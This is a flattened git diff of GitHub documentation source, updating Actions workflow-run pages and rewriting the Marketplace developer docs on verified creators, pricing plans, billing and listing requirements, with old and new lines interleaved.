"free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} ### Steps {% data variables.product.prodname_dotcom %} takes to cancel a workflow run 4 content/actions/managing-workflow-runs/downloading-workflow-artifacts.md @@ -20,4 +20,8 @@ versions: {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under **Artifacts**, click the artifact you want to download. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 1 content/actions/managing-workflow-runs/index.md @@ -18,6 +18,7 @@ versions: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% link_in_list /using-the-visualization-graph %}{% endif %} {% link_in_list /viewing-workflow-run-history %} {% link_in_list /using-workflow-run-logs %} {% link_in_list /manually-running-a-workflow %} 3 content/actions/managing-workflow-runs/re-running-a-workflow.md @@ -16,5 +16,4 @@ versions: {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**.  1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**.{% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% else %}{% endif %} 4 content/actions/managing-workflow-runs/removing-workflow-artifacts.md @@ -27,7 +27,11 @@ versions: {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under **Artifacts**, click {% octicon "trashcan" aria-label="The trashcan icon" %} next to the artifact you want to remove. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} ### Setting the retention period for an artifact 23 content/actions/managing-workflow-runs/using-the-visualization-graph.md @@ -0,0 +1,23 @@ --- title: Using the visualization graph intro: Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug workflows. product: '{% data reusables.gated-features.actions %}' versions: free-pro-team: '*' enterprise-server: '>=3.1' --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.visualization-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. The graph displays each job in the workflow. An icon to the left of the job name indicates the status of the job. Lines between jobs indicate dependencies.  2. Click on a job to view the job log.  18 content/actions/managing-workflow-runs/using-workflow-run-logs.md @@ -45,7 +45,11 @@ You can search the build logs for a particular step. When you search logs, only {% data reusables.repositories.navigate-to-job-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper-right corner of the log output, in the **Search logs** search box, type a search query. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% else %} 1. To expand each step you want to include in your search, click the step.  @@ -63,8 +67,12 @@ You can download the log files from your workflow run. You can also download a w {% data reusables.repositories.view-run-superlinter %} {% data reusables.repositories.navigate-to-job-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Download log archive**. 1. In the upper right corner, click {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% octicon "gear" aria-label="The gear icon" %}{% else %}{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}{% endif %} and select **Download log archive**. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% else %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Download log archive**.  @@ -80,9 +88,17 @@ You can delete the log files from your workflow run. {% data reusables.repositor {% data reusables.repositories.view-run-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 2. To delete the log files, click the **Delete all logs** button and review the confirmation prompt. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} After deleting logs, the **Delete all logs** button is removed to indicate that no log files remain in the workflow run. {% else %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. 2 content/actions/managing-workflow-runs/viewing-job-execution-time.md @@ -15,7 +15,7 @@ Billable job execution minutes are only shown for jobs run on private repositori {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under the job summary, you can view the job's execution time. To view the billable job execution time, click **Run and billable time details**. 1. Under the job summary, you can view the job's execution time. To view details about the billable job execution time, click the time under **Billable time**.  {% note %} 5 content/actions/quickstart.md @@ -60,8 +60,13 @@ Committing the workflow file in your repository triggers the `push` event and ru {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow-superlinter %} {% data reusables.repositories.view-run-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. Under **Jobs** or in the visualization graph, click the **Lint code base** job.  {% else %} 1. In the left sidebar, click the **Lint code base** job.  {% endif %} {% data reusables.repositories.view-failed-job-results-superlinter %} ### More starter workflows 49 content/developers/github-marketplace/about-github-marketplace.md @@ -1,6 +1,6 @@ --- title: About GitHub Marketplace intro: 'Learn the basics to prepare your app for review before joining {% data variables.product.prodname_marketplace %}.' intro: 'Learn about {% data variables.product.prodname_marketplace %} where you can share your apps and actions publicly with all {% data variables.product.product_name %} users.' redirect_from: - /apps/marketplace/getting-started/ - /marketplace/getting-started @@ -14,52 +14,41 @@ versions: {% data reusables.actions.actions-not-verified %} To learn about publishing {% data variables.product.prodname_actions %} in the {% data variables.product.prodname_marketplace %}, see "[Publishing actions in GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)." To learn about publishing {% data variables.product.prodname_actions %} in {% data variables.product.prodname_marketplace %}, see "[Publishing actions in GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)." ### Apps You can list verified and unverified apps in {% data variables.product.prodname_marketplace %}. Unverified apps do not go through the security, testing, and verification cycle {% data variables.product.prodname_dotcom %} requires for verified apps. Anyone can share their apps with other users on {% data variables.product.prodname_marketplace %} but only listings that are verified by {% data variables.product.company_short %} can include paid plans. For more information, see "[About verified creators](/developers/github-marketplace/about-verified-creators)." Verified apps have a green badge in {% data variables.product.prodname_marketplace %}. Unverified apps have a grey badge next to their listing and are only available as free apps. If you're interested in creating an app for {% data variables.product.prodname_marketplace %}, but you're new to {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_app %}s, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" or "[Building {% data variables.product.prodname_oauth_app %}s](/developers/apps/building-oauth-apps)."  If you're interested in creating an app for {% data variables.product.prodname_marketplace %}, but you're new to {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_app %}s, see "[Building apps](/apps/)." {% data reusables.marketplace.github_apps_preferred %}, although you can list both OAuth and {% data variables.product.prodname_github_app %}s in {% data variables.product.prodname_marketplace %}. See "[Differences between GitHub and OAuth apps](/apps/differences-between-apps/)" for more details. To learn more about switching from OAuth to {% data variables.product.prodname_github_apps %}, see [Migrating OAuth Apps to {% data variables.product.prodname_github_app %}s](/apps/migrating-oauth-apps-to-github-apps/). {% data reusables.marketplace.github_apps_preferred %}, although you can list both OAuth and {% data variables.product.prodname_github_app %}s in {% data variables.product.prodname_marketplace %}. For more information, see "[Differences between {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_app %}s](/apps/differences-between-apps/)" and "[Migrating {% data variables.product.prodname_oauth_app %}s to {% data variables.product.prodname_github_apps %}](/apps/migrating-oauth-apps-to-github-apps/)." If you have questions about {% data variables.product.prodname_marketplace %}, please contact {% data variables.contact.contact_support %} directly. #### Unverified Apps Unverified apps do not need to meet the "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)" or go through the "[Security review process](/marketplace/getting-started/security-review-process/)". {% data reusables.marketplace.unverified-apps %} Having a published paid plan will prevent you from being able to submit an unverified app. You must remove paid plans or keep them in draft mode before publishing an unverified app. To list your unverified app in {% data variables.product.prodname_marketplace %}, you only need to create a "[Listing on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/)" and submit it as an unverified listing. {% data reusables.marketplace.launch-with-free %} ### Publishing an app to {% data variables.product.prodname_marketplace %} #### Verified Apps When you have finished creating your app, you can share it with other users by publishing it to {% data variables.product.prodname_marketplace %}. In summary, the process is: If you've already built an app and you're interested in submitting a verified listing in {% data variables.product.prodname_marketplace %}, start here: 1. Review your app carefully to ensure that it will behave as expected in other repositories and that it follows best practice guidelines. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)" and "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app#best-practice-for-customer-experience)." 1. [Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)<br/>Learn about requirements, guidelines, and the app submission process. 1. Add webhook events to the app to track user billing requests. For more information about the {% data variables.product.prodname_marketplace %} API, webhook events, and billing requests, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." 1. [Integrating with the {% data variables.product.prodname_marketplace %} API](/marketplace/integrating-with-the-github-marketplace-api/)<br/>Before you can list your app on {% data variables.product.prodname_marketplace %}, you'll need to integrate billing flows using the {% data variables.product.prodname_marketplace %} API and webhook events. 1. Create a draft {% data variables.product.prodname_marketplace %} listing. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)." 1. [Listing on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/) <br/>Create a draft {% data variables.product.prodname_marketplace %} listing, configure webhook settings, and set up pricing plans. 1. Add a pricing plan. For more information, see "[Setting pricing plans for your listing](/developers/github-marketplace/setting-pricing-plans-for-your-listing)." 1. [Selling your app](/marketplace/selling-your-app/)<br/>Learn about pricing plans, billing cycles, and how to receive payment from {% data variables.product.prodname_dotcom %} for your app. 1. Check whether your app meets the requirements for listing on {% data variables.product.prodname_marketplace %} as a free or a paid app. For more information, see "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)." 1. [{% data variables.product.prodname_marketplace %} Insights](/marketplace/github-marketplace-insights/)<br/>See how your app is performing in {% data variables.product.prodname_marketplace %}. You can use metrics collected by {% data variables.product.prodname_dotcom %} to guide your marketing campaign and be successful in {% data variables.product.prodname_marketplace %}. 1. Read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." 1. [{% data variables.product.prodname_marketplace %} transactions](/marketplace/github-marketplace-transactions/)<br/>Download and view transaction data for your {% data variables.product.prodname_marketplace %} listing. 1. Submit your listing for publication in {% data variables.product.prodname_marketplace %}, requesting verification if you want to sell the app. For more information, see "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication)." ### Reviewing your app An onboarding expert will contact you with any questions or further steps. For example, if you have added a paid plan, you will need to complete the verification process and complete financial onboarding. As soon as your listing is approved the app is published to {% data variables.product.prodname_marketplace %}. We want to make sure that the apps offered on {% data variables.product.prodname_marketplace %} are safe, secure, and well tested. The {% data variables.product.prodname_marketplace %} onboarding specialists will review your app to ensure that it meets all requirements. Follow the guidelines in these articles before submitting your app: ### Seeing how your app is performing You can access metrics and transactions for your listing. For more information, see: * [Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/) * [Security review process](/marketplace/getting-started/security-review-process/) - "[Viewing metrics for your listing](/developers/github-marketplace/viewing-metrics-for-your-listing)" - "[Viewing transactions for your listing](/developers/github-marketplace/viewing-transactions-for-your-listing)" 43 content/developers/github-marketplace/about-verified-creators.md @@ -0,0 +1,43 @@ --- title: About verified creators intro: 'Each organization that wants to sell apps on {% data variables.product.prodname_marketplace %} must follow a verification process. Their identity is checked and their billing process reviewed.' versions: free-pro-team: '*' --- ### About verified creators A verified creator is an organization that {% data variables.product.company_short %} has checked. Anyone can share their apps with other users on {% data variables.product.prodname_marketplace %} but only organizations that are verified by {% data variables.product.company_short %} can sell apps. For more information about organizations, see "[About organizations](/github/setting-up-and-managing-organizations-and-teams/about-organizations)." The verification process aims to protect users. For example, it verifies the seller's identity, checks that their {% data variables.product.product_name %} organization is set up securely, and that they can be contacted for support. After passing the verification checks, any apps that the organization lists on {% data variables.product.prodname_marketplace %} are shown with a verified creator badge {% octicon "verified" aria-label="Verified creator badge" %}. The organization can now add paid plans to any of their apps. Each app with a paid plan also goes through a financial onboarding process to check that it's set up to handle billing correctly.  In addition to the verified creator badge, you'll also see badges for unverified and verified apps. These apps were published using the old method for verifying individual apps.  For information on finding apps to use, see "[Searching {% data variables.product.prodname_marketplace %}](/github/searching-for-information-on-github/searching-github-marketplace)." ### About the verification process The first time you request verification for a listing of one of your apps, you will enter the verification process. An onboarding expert will guide you through the process. This includes checking: - Profile information - The basic profile information is populated accurately and appropriately. - Security - The organization has enabled two-factor authentication. - Verified domain - The organization has verified the domain of the site URL. - Purchase webhook event - The event is handled correctly by the app. When your organization is verified, all your apps are shown with a verified creator badge. You are now able to offer paid plans for any of your apps. For more information about the requirements for listing an app on {% data variables.product.prodname_marketplace %}, see "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)." {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." {% note %} **Note:** This verification process for apps replaces the previous process where individual apps were verified. The current process is similar to the verification process for actions. If you have apps that were verified under the old process, these will not be affected by the changes. The {% data variables.product.prodname_marketplace %} team will contact you with details of how to migrate to organization-based verification. {% endnote %} 12 content/developers/github-marketplace/billing-customers.md @@ -13,17 +13,17 @@ versions: ### Understanding the billing cycle Customers can choose a monthly or yearly billing cycle when they purchase your app. All changes customers make to the billing cycle and plan selection will trigger a `marketplace_purchase` event. You can refer to the `marketplace_purchase` webhook payload to see which billing cycle a customer selects and when the next billing date begins (`effective_date`). For more information about webhook payloads, see "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)." Customers can choose a monthly or yearly billing cycle when they purchase your app. All changes customers make to the billing cycle and plan selection will trigger a `marketplace_purchase` event. You can refer to the `marketplace_purchase` webhook payload to see which billing cycle a customer selects and when the next billing date begins (`effective_date`). For more information about webhook payloads, see "[Webhook events for the {% data variables.product.prodname_marketplace %} API](/developers/github-marketplace/webhook-events-for-the-github-marketplace-api)." ### Providing billing services in your app's UI Customers must be able to perform the following actions from your app's website: - Customers must be able to modify or cancel their {% data variables.product.prodname_marketplace %} plans for personal and organizational accounts separately. Customers should be able to perform the following actions from your app's website: - Customers should be able to modify or cancel their {% data variables.product.prodname_marketplace %} plans for personal and organizational accounts separately. {% data reusables.marketplace.marketplace-billing-ui-requirements %} ### Billing services for upgrades, downgrades, and cancellations Follow these guidelines for upgrades, downgrades, and cancellations to maintain a clear and consistent billing process. For more detailed instructions about the {% data variables.product.prodname_marketplace %} purchase events, see "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)." Follow these guidelines for upgrades, downgrades, and cancellations to maintain a clear and consistent billing process. For more detailed instructions about the {% data variables.product.prodname_marketplace %} purchase events, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." You can use the `marketplace_purchase` webhook's `effective_date` key to determine when a plan change will occur and periodically synchronize the [List accounts for a plan](/rest/reference/apps#list-accounts-for-a-plan). @@ -33,7 +33,7 @@ When a customer upgrades their pricing plan or changes their billing cycle from {% data reusables.marketplace.marketplace-failed-purchase-event %} For information about building upgrade and downgrade workflows into your app, see "[Upgrading and downgrading plans](/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans/)." For information about building upgrade and downgrade workflows into your app, see "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)." #### Downgrades and cancellations @@ -45,4 +45,4 @@ When a customer cancels a plan, you must: {% data reusables.marketplace.cancellation-clarification %} - Enable them to upgrade the plan through GitHub if they would like to continue the plan at a later time. For information about building cancellation workflows into your app, see "[Cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/)." For information about building cancellation workflows into your app, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)." 20 ...nt/developers/github-marketplace/customer-experience-best-practices-for-apps.md @@ -0,0 +1,20 @@ --- title: Customer experience best practices for apps intro: 'Guidelines for creating an app that will be easy to use and understand.' shortTitle: Customer experience best practice versions: free-pro-team: '*' --- If you follow these best practices it will help you to provide a good customer experience. ### Customer communication - Marketing materials for the app should accurately represent the app's behavior. - Apps should include links to user-facing documentation that describe how to set up and use the app. - Customers should be able to see what type of plan they have in the billing, profile, or account settings section of the app. - Customers should be able to install and use your app on both a personal account and an organization account. They should be able to view and manage the app on those accounts separately. ### Plan management {% data reusables.marketplace.marketplace-billing-ui-requirements %} 4 content/developers/github-marketplace/drafting-a-listing-for-your-app.md @@ -59,8 +59,8 @@ Once you've created a {% data variables.product.prodname_marketplace %} draft li ### Submitting your app Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)," and then you can click **Submit for review**. After you submit your app for review, the {% data variables.product.prodname_marketplace %} onboarding team will contact you with additional information about the onboarding process. You can learn more about the onboarding and security review process in "[Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)." Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)," and then you can click **Submit for review**. After you submit your app for review, an onboarding expert will contact you with additional information about the onboarding process. You can learn more about the onboarding and security review process in "[Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)." ### Removing a {% data variables.product.prodname_marketplace %} listing If you no longer want to list your app in {% data variables.product.prodname_marketplace %}, contact [marketplace@github.com](mailto:marketplace@github.com) to remove your listing. If you no longer want to list your app in {% data variables.product.prodname_marketplace %}, contact {% data variables.contact.contact_support %} to remove your listing. 2 content/developers/github-marketplace/handling-new-purchases-and-free-trials.md @@ -28,7 +28,7 @@ GitHub then sends the [`marketplace_purchase`](/webhooks/event-payloads/#marketp Read the `effective_date` and `marketplace_purchase` object from the `marketplace_purchase` webhook to determine which plan the customer purchased, when the billing cycle starts, and when the next billing cycle begins. If your app offers a free trial, read the `marketplace_purchase[on_free_trial]` attribute from the webhook. If the value is `true`, your app will need to track the free trial start date (`effective_date`) and the date the free trial ends (`free_trial_ends_on`). Use the `free_trial_ends_on` date to display the remaining days left in a free trial in your app's UI. You can do this in either a banner or in your [billing UI](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui). To learn how to handle cancellations before a free trial ends, see "[Cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/)." See "[Upgrading and downgrading plans](/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans/)" to find out how to transition a free trial to a paid plan when a free trial expires. If your app offers a free trial, read the `marketplace_purchase[on_free_trial]` attribute from the webhook. If the value is `true`, your app will need to track the free trial start date (`effective_date`) and the date the free trial ends (`free_trial_ends_on`). Use the `free_trial_ends_on` date to display the remaining days left in a free trial in your app's UI. You can do this in either a banner or in your [billing UI](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui). To learn how to handle cancellations before a free trial ends, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)." See "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)" to find out how to transition a free trial to a paid plan when a free trial expires. See "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" for an example of the `marketplace_purchase` event payload. 6 content/developers/github-marketplace/index.md @@ -11,8 +11,10 @@ versions: {% topic_link_in_list /creating-apps-for-github-marketplace %} {% link_in_list /about-github-marketplace %} {% link_in_list /about-verified-creators %} {% link_in_list /requirements-for-listing-an-app %} {% link_in_list /security-review-process-for-submitted-apps %} {% link_in_list /security-best-practices-for-apps %} {% link_in_list /customer-experience-best-practices-for-apps %} {% link_in_list /viewing-metrics-for-your-listing %} {% link_in_list /viewing-transactions-for-your-listing %} {% topic_link_in_list /using-the-github-marketplace-api-in-your-app %} @@ -27,7 +29,7 @@ versions: {% link_in_list /writing-a-listing-description-for-your-app %} {% link_in_list /setting-pricing-plans-for-your-listing %} {% link_in_list /configuring-a-webhook-to-notify-you-of-plan-changes %} {% link_in_list /submitting-your-listing-for-review %} {% link_in_list /submitting-your-listing-for-publication %} {% topic_link_in_list /selling-your-app-on-github-marketplace %} {% link_in_list /pricing-plans-for-github-marketplace-apps %} {% link_in_list /billing-customers %} 32 content/developers/github-marketplace/pricing-plans-for-github-marketplace-apps.md @@ -10,35 +10,45 @@ versions: {% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit, and GitHub lists the price in US dollars. Customers purchase your app using a payment method attached to their {% data variables.product.product_name %} account, without having to leave GitHub.com. You don't have to write code to perform billing transactions, but you will have to handle [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows) for purchase events. {% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit. Prices are set, displayed, and processed in US dollars. Paid plans are restricted to verified listings. Customers purchase your app using a payment method attached to their {% data variables.product.product_name %} account, without having to leave {% data variables.product.prodname_dotcom_the_website %}. You don't have to write code to perform billing transactions, but you will have to handle events from the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If the app you're listing on {% data variables.product.prodname_marketplace %} has multiple plan options, you can set up corresponding pricing plans. For example, if your app has two plan options, an open source plan and a pro plan, you can set up a free pricing plan for your open source plan and a flat pricing plan for your pro plan. Each {% data variables.product.prodname_marketplace %} listing must have an annual and a monthly price for every plan that's listed. For more information on how to create a pricing plan, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." {% note %} {% data reusables.marketplace.free-plan-note %} **Note:** If you're listing an app on {% data variables.product.prodname_marketplace %}, you can't list your app with a free pricing plan if you offer a paid service outside of {% data variables.product.prodname_marketplace %}. ### Types of pricing plans {% endnote %} #### Free pricing plans ### Types of pricing plans {% data reusables.marketplace.free-apps-encouraged %} Free plans are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing. All apps need to handle events for new purchases and cancellations. Apps that only have free plans do not need to handle events for free trials, upgrades, and downgrades. For more information, see: "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to request verification for the app and go through financial onboarding. #### Paid pricing plans **Free pricing plans** are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing. Unverified free apps do not need to implement any billing flows. Free apps that are verified by Github need to implement billing flows for new purchases and cancellations, but do not need to implement billing flows for free trials, upgrades, and downgrades. If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to resubmit the app for review. There are two types of paid pricing plan: **Flat rate pricing plans** charge a set fee on a monthly and yearly basis. - Flat rate pricing plans charge a set fee on a monthly and yearly basis. **Per-unit pricing plans** charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person). - Per-unit pricing plans charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person). **Marketplace free trials** provide 14-day free trials of OAuth or GitHub Apps to customers. When you [set up a Marketplace pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/), you can select the option to provide a free trial for flat-rate or per-unit pricing plans. You may also want to offer free trials. These provide free, 14-day trials of OAuth or GitHub Apps to customers. When you set up a Marketplace pricing plan, you can select the option to provide a free trial for flat-rate or per-unit pricing plans. ### Free trials Customers can start a free trial for any available paid plan on a Marketplace listing, but will not be able to create more than one free trial for a Marketplace product. Customers can start a free trial for any paid plan on a Marketplace listing that includes free trials. However, customers cannot create more than one free trial per marketplace product. Free trials have a fixed length of 14 days. Customers are notified 4 days before the end of their trial period (on day 11 of the free trial) that their plan will be upgraded. At the end of a free trial, customers will be auto-enrolled into the plan they are trialing if they do not cancel. See "[New purchases and free trials](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)" for details on how to handle free trials in your app. For more information, see: "[Handling new purchases and free trials](/developers/github-marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)." {% note %} 61 content/developers/github-marketplace/requirements-for-listing-an-app.md @@ -1,6 +1,6 @@ --- title: Requirements for listing an app intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before our {% data variables.product.prodname_marketplace %} onboarding specialists will approve the listing.' intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before the listing can be published.' redirect_from: - /apps/adding-integrations/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace/ - /apps/marketplace/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace/ @@ -12,49 +12,62 @@ versions: free-pro-team: '*' --- <!--UI-LINK: Displayed as a link on the https://github.com/marketplace/new page.--> The requirements for listing an app on {% data variables.product.prodname_marketplace %} vary according to whether you want to offer a free or a paid app. Before you submit your app for review, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." You'll accept the terms within your [draft listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/) on {% data variables.product.product_name %}. Once you've submitted your app, one of the {% data variables.product.prodname_marketplace %} onboarding specialists will reach out to you with more information about the onboarding process, and review your app to ensure it meets these requirements: ### Requirements for all {% data variables.product.prodname_marketplace %} listings ### User experience All listings on {% data variables.product.prodname_marketplace %} should be for tools that provide value to the {% data variables.product.product_name %} community. When you submit your listing for publication, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." - {% data variables.product.prodname_github_app %}s should have a minimum of 100 installations. - {% data variables.product.prodname_oauth_app %}s should have a minimum of 200 users. #### User experience requirements for all apps All listings should meet the following requirements, regardless of whether they are for a free or paid app. - Listings must not actively persuade users away from {% data variables.product.product_name %}. - Listings must include valid contact information for the publisher. - Listings must have a relevant description of the application. - Listings must specify a pricing plan. - Apps must provide value to customers and integrate with the platform in some way beyond authentication. - Apps must be publicly available in {% data variables.product.prodname_marketplace %} and cannot be in beta or available by invite only. - Apps cannot actively persuade users away from {% data variables.product.product_name %}. - Marketing materials for the app must accurately represent the app's behavior. - Apps must include links to user-facing documentation that describe how to set up and use the app. - When a customer purchases an app and GitHub redirects them to the app's installation URL, the app must begin the OAuth flow immediately. For details, see "[Handling new purchases and free trials](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/#step-3-authorization)." - Apps must have webhook events set up to notify the publisher of any plan changes or cancellations using the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." - Customers must be able to install your app and select repositories on both a personal and organization account. They should be able to view and manage those accounts separately. For more information on providing a good customer experience, see "[Customer experience best practices for apps](/developers/github-marketplace/customer-experience-best-practices-for-apps)." ### Brand and listing #### Brand and listing requirements for all apps - Apps that use GitHub logos must follow the "[{% data variables.product.product_name %} Logos and Usage](https://github.com/logos)" guidelines. - Apps that use GitHub logos must follow the {% data variables.product.company_short %} guidelines. For more information, see "[{% data variables.product.company_short %} Logos and Usage](https://github.com/logos)." - Apps must have a logo, feature card, and screenshots images that meet the recommendations provided in "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." - Listings must include descriptions that are well written and free of grammatical errors. For guidance in writing your listing, see "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." ### Security To protect your customers, we recommend that you also follow security best practices. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)." ### Considerations for free apps Apps will go through a security review before being listed on {% data variables.product.prodname_marketplace %}. A successful review will meet the requirements and follow the security best practices listed in "[Security review process](/marketplace/getting-started/security-review-process/)." For information on the review process, contact [marketplace@github.com](mailto:marketplace@github.com). {% data 